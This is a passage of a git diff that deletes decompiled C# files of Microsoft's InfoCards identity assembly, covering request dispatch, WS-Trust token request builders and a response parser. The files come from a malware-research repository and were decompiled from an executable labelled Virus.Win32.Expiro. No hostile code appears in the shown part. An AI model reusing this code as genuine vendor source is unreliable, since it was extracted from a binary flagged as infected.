RequestFactory.RequestName.SaveLedgerEntryRequest: - agentRequestInstance = (UIAgentRequest) new SaveLedgerEntryRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveRecipientRequest: - agentRequestInstance = (UIAgentRequest) new SaveRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SendAgentStatusRequest: - agentRequestInstance = (UIAgentRequest) new SendAgentStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new SetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UIEndRequest: - agentRequestInstance = (UIAgentRequest) new UIEndRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new BeginGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new EndGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListDependantCardsRequest: - agentRequestInstance = (UIAgentRequest) new ListDependantCardsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLastErrorDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetLastErrorDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetIsBrowserClientRequest: - agentRequestInstance = (UIAgentRequest) new GetIsBrowserClientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserLanguageRequest: - agentRequestInstance = (UIAgentRequest) new SetUserLanguageRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCardDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetCardDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UnlockCardRequest: - agentRequestInstance = (UIAgentRequest) new UnlockCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - agentRequestInstance.Initialize(); - } - return agentRequestInstance; - } - - private enum RequestName - { - CloseCryptoHandleRequest = 0, - DecryptRequest = 1, - EncryptRequest = 2, - GenerateDerivedKeyRequest = 3, - GetBrowserTokenRequest = 4, - GetCryptoTransformRequest = 5, - GetKeyedHashRequest = 6, - GetTokenRequest = 7, - HashCoreRequest = 8, - HashFinalRequest = 9, - ImportRequest = 10, // 0x0000000A - ManageRequest = 11, // 0x0000000B - SignHashRequest = 12, // 0x0000000C - TransformBlockRequest = 13, // 0x0000000D - TransformFinalBlockRequest = 14, // 0x0000000E - VerifyHashRequest = 15, // 0x0000000F - ClientRequestCount = 16, // 0x00000010 - AgentRequestCount = 38, // 0x00000026 - BeginCreateSecurityTokenRequest = 128, // 0x00000080 - BeginSelectCardRequest = 129, // 0x00000081 - CancelAsyncOperationRequest = 130, // 0x00000082 - CreateCardRequest = 131, // 0x00000083 - CheckStoreFileValidityRequest = 132, // 0x00000084 - DeleteCardRequest = 133, // 0x00000085 - DeleteStoreRequest = 134, // 0x00000086 - EndCreateSecurityTokenRequest = 135, // 0x00000087 - EndSelectCardRequest = 136, // 0x00000088 - ExportFileRequest = 137, // 0x00000089 - GetCertificateRequest = 138, // 0x0000008A - GetImportedCardRequest = 139, // 0x0000008B - GetImportFileNameRequest = 140, // 0x0000008C - GetLedgerEntryForRecipientRequest = 141, // 0x0000008D - GetLedgerRequest = 142, // 0x0000008E - GetPolicyDetailsRequest = 143, // 0x0000008F - GetRecipientListRequest = 144, // 0x00000090 - GetRecipientRequest = 145, // 0x00000091 - GetUserPreferenceRequest = 146, // 0x00000092 - ImportFileRequest = 147, // 0x00000093 - InfoCardListRequest = 148, // 0x00000094 - ListCardsInFileRequest = 149, // 0x00000095 - QueryStoreStatusRequest = 150, // 0x00000096 - ResolvePPIDRequest = 151, // 0x00000097 - SaveCardRequest = 152, // 0x00000098 - SaveLedgerEntryRequest = 153, // 0x00000099 - SaveRecipientRequest = 154, // 0x0000009A - SendAgentStatusRequest = 155, // 0x0000009B - SetUserPreferenceRequest = 156, // 0x0000009C - UIEndRequest = 157, // 0x0000009D - BeginGetFileNameFromUserRequest = 158, // 0x0000009E - EndGetFileNameFromUserRequest = 159, // 0x0000009F - ListDependantCardsRequest = 160, // 0x000000A0 - GetLastErrorDetailsRequest = 161, // 0x000000A1 - GetIsBrowserClientRequest = 162, // 0x000000A2 - SetUserLanguageRequest = 163, // 0x000000A3 - GetCardDetailsRequest = 164, // 0x000000A4 - UnlockCardRequest = 165, // 0x000000A5 - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityToken.cs deleted file mode 100644 index c98962c2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityToken.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal abstract class RequestSecurityToken : BodyWriter - { - protected RequestSecurityTokenParameters m_rstParams; - protected RequestSecurityTokenSerializer m_serializer; - protected XmlDictionaryWriter m_xmlWriter; - - protected ProtocolProfile ProtocolVersionProfile => this.m_rstParams.Profile; - - protected InfoCardPolicy Policy => this.m_rstParams.Policy; - - protected RequestSecurityTokenSerializer Serializer - { - get => this.m_serializer; - set => this.m_serializer = value; - } - - protected XmlDictionaryWriter Writer - { - get => this.m_xmlWriter; - set => this.m_xmlWriter = value; - } - - protected string WstPrefix => this.ProtocolVersionProfile.WSTrust.DefaultPrefix; - - public RequestSecurityToken(RequestSecurityTokenParameters rstParams) - : base(false) - { - this.m_rstParams = rstParams; - } - - protected virtual void WriteRSTOpeningElement() - { - this.Writer.WriteStartElement(this.WstPrefix, this.ProtocolVersionProfile.WSTrust.RequestSecurityToken, this.ProtocolVersionProfile.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.ProtocolVersionProfile.WSTrust.Context, (string) null, this.m_rstParams.Context); - } - - protected virtual void WriteInfoCardReferenceElement() - { - if (this.m_rstParams.Card == null) - return; - this.Serializer.WriteInfoCardReferenceElement(this.m_rstParams.Card); - } - - protected virtual void WriteKeyTypeElement() => this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - - protected virtual void WriteKeySupportingElements() - { - if (this.Policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.ClientEntropyForSymmetric, "Should not be null"); - this.Serializer.WriteBinarySecretElement(new BinarySecretSecurityToken(this.m_rstParams.ClientEntropyForSymmetric)); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == this.Policy.KeyType) - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && !string.IsNullOrEmpty(this.Policy.OptionalRstParams.KeyWrapAlgorithm)) - this.Serializer.WriteKeyWrapAlgorithmElement(this.Policy.OptionalRstParams.KeyWrapAlgorithm); - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.RSAKey, "Should have been populated in asymmetric case"); - this.Serializer.WriteUseKeyElement(this.m_rstParams.RSAKey.GetXml()); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == this.Policy.KeyType, "Should be no proof key"); - } - - protected virtual void WriteRequestTypeElement() - { - if (!string.IsNullOrEmpty(this.Policy.RequestType)) - this.Serializer.WriteRequestTypeElement(this.Policy.RequestType); - else - this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - } - - protected virtual void WritePPIDElement() - { - if (this.m_rstParams.Card == null || !this.m_rstParams.Card.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - return; - this.Serializer.WritePPIDElement(Utility.CreateHash(this.m_rstParams.Card.Key, Convert.FromBase64String(this.Policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_rstParams.Card.HashSalt)); - } - - protected virtual void WriteEncryptionAlgorithmElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptionAlgorithm)) - return; - this.Serializer.WriteEncryptionAlgorithmElement(this.Policy.OptionalRstParams.EncryptionAlgorithm); - } - - protected virtual void WriteClaimsElement() => this.Serializer.WriteClaimsElement(this.m_rstParams.DisclosedClaims, this.Policy.RequiredClaims, this.Policy.OptionalClaims); - - protected virtual void WriteDisplayTokenElement() - { - if (this.m_rstParams.Culture == null) - return; - this.Serializer.WriteDisplayTokenElement(this.m_rstParams.Culture); - } - - protected virtual void WriteTokenTypeElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.TokenType)) - return; - this.Serializer.WriteTokenTypeElement(this.Policy.OptionalRstParams.TokenType); - } - - protected virtual void WritePassOnElements() => this.Policy.OptionalRstParams.WritePassOnElements(this.Writer, this.ProtocolVersionProfile); - - protected virtual void WriteUnprocessedPolicyElements() - { - if (this.Policy.UnprocessedPolicyElements == null || this.Policy.UnprocessedPolicyElements.Length <= 0L) - return; - this.Serializer.WriteUnprocessedPolicyElements(this.Policy.UnprocessedPolicyElements); - } - - protected abstract void WriteSecondaryParametersElement(); - - protected virtual void WriteEndElement() => this.Writer.WriteEndElement(); - - protected abstract void WriteAppliesToElement(); - - protected virtual void InitializeWriters(XmlDictionaryWriter writer) - { - this.Writer = writer; - this.Serializer = new RequestSecurityTokenSerializer((XmlWriter) writer, this.ProtocolVersionProfile); - } - - protected override void OnWriteBodyContents(XmlDictionaryWriter writer) => this.CustomWriteBodyContents(writer); - - protected abstract void CustomWriteBodyContents(XmlDictionaryWriter writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs deleted file mode 100644 index 0960bedc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForGetBrowserToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForGetBrowserToken : RequestSecurityToken - { - public RequestSecurityTokenForGetBrowserToken(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteKeyTypeElement() - { - InfoCardTrace.Assert(this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString() == this.Policy.GetKeyTypeString(), "Only no proof key allowed in browser case"); - this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - } - - protected override void WriteRequestTypeElement() => this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - - protected override void WriteAppliesToElement() => GetBrowserTokenRequest.WriteSourceUrlAppliesTo((XmlWriter) this.Writer, this.m_rstParams.BrowserTokenParams, this.ProtocolVersionProfile); - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims; - if (!flag) - return; - if (this.Policy.RelyingPartyPolicy != null) - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - else - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteKeyTypeElement(); - this.WriteRequestTypeElement(); - this.WriteAppliesToElement(); - this.WriteClaimsElement(); - this.WriteTokenTypeElement(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs deleted file mode 100644 index 069b8b8c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs +++ /dev/null @@ -1,88 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForRemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForRemoteTokenFactory : RequestSecurityToken - { - public RequestSecurityTokenForRemoteTokenFactory(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteAppliesToElement() - { - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.PolicyAppliesTo, this.m_rstParams.Version); - break; - case AppliesToBehaviorDecision.SendCustomAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.ImmediateTokenRecipient.Address, this.m_rstParams.Version); - break; - } - } - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims && !this.OptionalClaimsExceedCard(this.m_rstParams.Card, this.m_rstParams.Policy); - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - case AppliesToBehaviorDecision.SendCustomAppliesTo: - if (!flag) - break; - if (this.Policy.RelyingPartyPolicy != null) - { - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - break; - } - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - break; - default: - flag = false; - goto case AppliesToBehaviorDecision.SendRPAppliesTo; - } - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteRequestTypeElement(); - this.WriteInfoCardReferenceElement(); - this.WriteClaimsElement(); - this.WriteKeyTypeElement(); - this.WriteKeySupportingElements(); - this.WriteAppliesToElement(); - this.WritePPIDElement(); - this.WriteEncryptionAlgorithmElement(); - this.WritePassOnElements(); - this.WriteDisplayTokenElement(); - this.WriteUnprocessedPolicyElements(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - - private bool OptionalClaimsExceedCard(InfoCard card, InfoCardPolicy policy) - { - InfoCardClaimCollection claims = card.GetClaims(); - bool flag = false; - foreach (string optionalClaim in policy.OptionalClaims) - { - if (!claims.ContainsKey(optionalClaim)) - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenParameters.cs deleted file mode 100644 index 36fa64e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenParameters.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Security.Cryptography.Xml; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenParameters - { - private AddressingVersion m_addressingVersion; - private GetBrowserTokenParameters m_browserTokenParams; - private InfoCardPolicy m_policy; - private InfoCard m_card; - private bool m_discloseOptionalClaims; - private RSAKeyValue m_rsaKeyValue; - private byte[] m_clientEntropyForSymmetric; - private CultureInfo m_cultureInfo; - private string m_context; - private Dictionary m_disclosedClaims; - private ProtocolProfile m_profile; - - public AddressingVersion Version => this.m_addressingVersion; - - public GetBrowserTokenParameters BrowserTokenParams => this.m_browserTokenParams; - - public InfoCardPolicy Policy => this.m_policy; - - public InfoCard Card => this.m_card; - - public bool DiscloseOptionalClaims => this.m_discloseOptionalClaims; - - public RSAKeyValue RSAKey => this.m_rsaKeyValue; - - public byte[] ClientEntropyForSymmetric => this.m_clientEntropyForSymmetric; - - public CultureInfo Culture => this.m_cultureInfo; - - public string Context => this.m_context; - - public Dictionary DisclosedClaims => this.m_disclosedClaims; - - public ProtocolProfile Profile => this.m_profile; - - public RequestSecurityTokenParameters( - AddressingVersion version, - InfoCard card, - InfoCardPolicy policy, - bool discloseOptionalClaims, - RSAKeyValue rsaKeyValue, - Dictionary disclosedClaims, - string context, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - this.m_card = card; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_rsaKeyValue = rsaKeyValue; - this.m_clientEntropyForSymmetric = clientEntropyForSymmetric; - this.m_profile = policy.ProtocolVersionProfile; - InfoCardTrace.Assert(this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric != null || this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric == null || this.m_rsaKeyValue != null && null == this.m_clientEntropyForSymmetric, "The three allowed cases are symmetric, noProofKey, asymmetric"); - this.m_disclosedClaims = disclosedClaims; - this.m_addressingVersion = version; - this.m_context = context; - this.m_cultureInfo = displayCulture; - } - - public RequestSecurityTokenParameters( - AddressingVersion addressing, - GetBrowserTokenParameters parameters, - ProtocolProfile profile, - InfoCardPolicy policy, - bool discloseOptionalClaims) - { - this.m_browserTokenParams = parameters; - this.m_addressingVersion = addressing; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_context = Guid.NewGuid().ToString(); - this.m_profile = profile; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs deleted file mode 100644 index 3a8bbda8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs +++ /dev/null @@ -1,463 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenResponseHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class RequestSecurityTokenResponseHelper - { - private static SecurityToken s_noProofToken = (SecurityToken) new UserNameSecurityToken("noproof", "noproof", "noproof"); - - private static RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse ReadRequestSecurityTokenResponse( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile) - { - InfoCardTrace.Assert(null != reader, "null reader"); - InfoCardTrace.Assert(null != tokenSerializer, "null tokenSerializer"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = new RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponseCollection, profile.WSTrust.Namespace); - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponse, profile.WSTrust.Namespace); - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - bool flag6 = false; - bool flag7 = false; - bool flag8 = false; - bool flag9 = false; - bool flag10 = false; - bool flag11 = false; - securityTokenResponse.Created = DateTime.UtcNow; - securityTokenResponse.Expires = new DateTime(DateTime.MaxValue.Ticks - TimeSpan.FromDays(2.0).Ticks, DateTimeKind.Utc); - if (!reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - while (reader.IsStartElement()) - { - if (reader.IsStartElement(profile.WSTrust.TokenType, profile.WSTrust.Namespace)) - { - if (flag1) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleTokenTypeElementsFound"))); - securityTokenResponse.TokenType = reader.ReadElementString(); - flag1 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeySize, profile.WSTrust.Namespace)) - { - if (flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - int num = reader.ReadElementContentAsInt(); - securityTokenResponse.KeySize = num > 0 ? num : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("KeySizeMustBeGreaterThanZero"))); - flag3 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeyType, profile.WSTrust.Namespace)) - { - if (flag2) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - string uriString = reader.ReadElementContentAsString(); - Uri uri = new Uri(uriString); - if (profile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.SymmetricKey); - else if (profile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.AsymmetricKey); - else if (profile.WSTrust.KeyTypeBearer.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.NoKey); - else - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("KeyTypeNotRecognized", (object) uriString))); - flag2 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Lifetime, profile.WSTrust.Namespace)) - { - if (flag6) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleLifetimeElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement("Created", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Created = reader.ReadElementContentAsDateTime().ToUniversalTime(); - if (reader.IsStartElement("Expires", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Expires = reader.ReadElementContentAsDateTime().ToUniversalTime(); - reader.ReadEndElement(); - flag6 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedSecurityToken, profile.WSTrust.Namespace)) - { - if (flag7) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedSecurityTokenElementsFound"))); - reader.ReadStartElement(); - reader.MoveToElement(); - XmlDocument xmlDocument = new XmlDocument(); - securityTokenResponse.IssuedTokenElement = xmlDocument.ReadNode((XmlReader) reader) as XmlElement; - reader.ReadEndElement(); - flag7 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedProofToken, profile.WSTrust.Namespace)) - { - if (flag8) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedProofTokenElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement(profile.WSTrust.ComputedKey, profile.WSTrust.Namespace)) - { - securityTokenResponse.ComputedKeyAlgorithm = reader.ReadElementString(); - if (profile.WSTrust.ComputedKeyAlgorithm != securityTokenResponse.ComputedKeyAlgorithm) - throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException(SR.GetString("OnlyPSha1SupportedCurrently", (object) securityTokenResponse.ComputedKeyAlgorithm))); - } - else - securityTokenResponse.ProofToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag8 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Entropy, profile.WSTrust.Namespace)) - { - if (flag10) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleEntropyElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.EntropyToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag10 = true; - } - else if (reader.IsStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (flag9) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedDisplayTokenElementsFound"))); - securityTokenResponse.DisplayToken = RequestSecurityTokenResponseHelper.CreateDisplayToken(reader); - flag9 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedAttachedReference, profile.WSTrust.Namespace)) - { - if (flag4) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedAttachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedAttachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag4 = true; - } - else if 